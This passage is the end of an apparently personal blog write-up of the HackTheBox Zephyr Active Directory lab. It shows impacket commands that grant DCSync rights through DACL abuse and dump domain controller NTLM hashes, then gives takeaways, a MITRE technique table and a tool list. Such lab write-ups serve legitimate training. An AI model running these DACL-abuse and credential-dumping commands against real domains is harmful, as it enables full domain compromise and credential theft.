└─$ impacket-dacledit domain2.zsm.local/svc_cross:'Cr0ssD0m@in!' -action write -rights DCSync -principal svc_cross -target-dc DC03.domain3.zsm.local
[*] DACL modified successfully

# DCSync on third domain DC (the final boss)
┌──(qa210@kali)-[~/zephyr]
└─$ impacket-secretsdump domain3.zsm.local/svc_cross@DC03.domain3.zsm.local -just-dc-ntlm
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b43551404eeaad3b43551404eec:c9d6b4e2a7f3c0d8e5b2f8b3c7d2e5a1:::
Enterprise Admin:519:aad3b43551404eeaad3b43551404eec:e5a1c9d6b4e2a7f3c0d8e5b2f8b3c7d2:::
krbtgt:502:aad3b43551404eeaad3b43551404eec:f6a9d2c5e8f1b4d7a0c3e6a1c4d7e0b3:::
Forest Dominance Achieved
All 3 DCs compromised via DCSync. Enterprise Admin hash obtained. 17/17 flags.

The third domain's DCSync required an extra step: the service account I had from the second domain didn't have replication permissions by default. I had to use ACL abuse (specifically, modifying the DACL on the domain object to grant DCSync rights to my service account) before I could run secretsdump. This is a common escalation pattern — limited privileges are enough to modify ACLs, which then grant the higher privileges you need.

DCSync Requirements

To run DCSync, you need an account with the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All permissions on the domain object. Domain Admins have these by default, but any account with these permissions can perform DCSync — including service accounts that were granted replication rights for legitimate purposes like backup or monitoring. In Zephyr, you'll need to grant these permissions via ACL abuse for the final domain.

12 Summary & Takeaways

Zephyr is exactly what it claims to be: a great introductory AD lab. If you've done the HTB AD modules and want practical experience without the overhead of AV evasion, phishing, and multi-forest complexity, Zephyr is perfect. It focuses purely on AD exploitation techniques — enumeration, ACL abuse, relay attacks, lateral movement, and trust boundary crossing. The 17 flags are straightforward once you find the path, and the lack of rabbit holes means you'll spend your time learning rather than chasing false leads.

The CPTS path covers about 60-70% of the knowledge needed for Zephyr. The remaining 30-40% comes from experience with pivoting (specifically Ligolo-ng), MSSQL exploitation (linked servers, xp_cmdshell), and advanced Kerberos attacks (inter-realm TGT, S4U2Proxy, RBCD across trusts). If you've completed CPTS and feel comfortable with those additional topics, Zephyr should be very manageable.

Initial Access Is the Gatekeeper
Finding the sa password on ZPH-SQL01 took me longer than any other step. The MSSQL exploitation is straightforward once you have credentials, but finding those credentials requires persistence and a good wordlist strategy.
BloodHound After Every Escalation
The attack paths in Zephyr are interconnected. Every time you gain new credentials or access, re-run BloodHound collection and look for new paths. The GenericAll on svc_mgmt was invisible until I ran BloodHound with sql_svc context.
Ligolo-ng Is Non-Negotiable
Double and triple pivoting with SOCKS chains is miserable. Ligolo-ng's tun interface approach makes multi-hop pivoting manageable. Spend the time to learn it before starting this lab.
Credential Tracking Wins Labs
Maintain a creds.txt file. Every hash, every ticket, every password. Zephyr rewards meticulous tracking — credentials from one domain frequently work in another.
Relay Attacks > Password Cracking
When WebClient is running, relay attacks are faster and more reliable than offline cracking. Don't spend hours cracking hashes when you can relay them in seconds.
Daily Resets Build Muscle Memory
The daily reset seems painful but it forces you to internalize the kill chain. By the end, I could re-compromise the entire first domain from scratch in under 15 minutes.

Techniques Used

TechniqueWhere UsedMITRE
MSSQL sa exploitationZPH-SQL01 (initial access)T1078 / T1021.002
xp_cmdshellZPH-SQL01, ZPH-DB02T1059.003
BloodHound enumerationAll domainsT1087.002
ACL abuse (GenericAll)sql_svc → svc_mgmtT1222.001 / T1098
NTLM relay attacksMultiple machines (WebClient)T1557.001
Pass-the-HashLateral movementT1550.002
Kerberos ticket manipulationCross-domain movementT1558
Inter-realm TGTDomain trust crossingT1558
S4U2ProxyCross-domain service accessT1558
RBCDMultiple machinesT1558
DCSyncAll 3 domain controllersT1003.006
Multi-hop pivotingLigolo-ng throughoutT1090.001
Linked SQL server exploitationZPH-SQL01 → ZPH-DB02T1505.001

Tools Used

ToolPrimary Use
BloodHound (bloodhound-python)AD enumeration, attack path discovery
Impacket (mssqlclient, changepasswd, secretsdump, GetUserSPNs, ntlmrelayx, ticketer, raiseChild, dacledit, rbcd, getST)Swiss army knife for AD exploitation
Ligolo-ngMulti-hop pivoting (tun interface)
NetExec / CrackMapExecQuick enumeration, password spraying
evil-winrmInteractive WinRM sessions
RubeusKerberos attacks from Windows footholds
CoercerNTLM authentication coercion

After Zephyr, I felt significantly more confident in my AD skills. The lab reinforced that the core of AD penetration testing is enumeration — BloodHound is your best friend, and running it after every privilege escalation is non-negotiable. If you can complete Zephyr, you have the foundation for more advanced labs like Offshore, RastaLabs, and Cybernetics. Pure AD, no mercy, all learning.

QA210
W4LLZ / w4llz.me — GitHub: Yuri08-QA210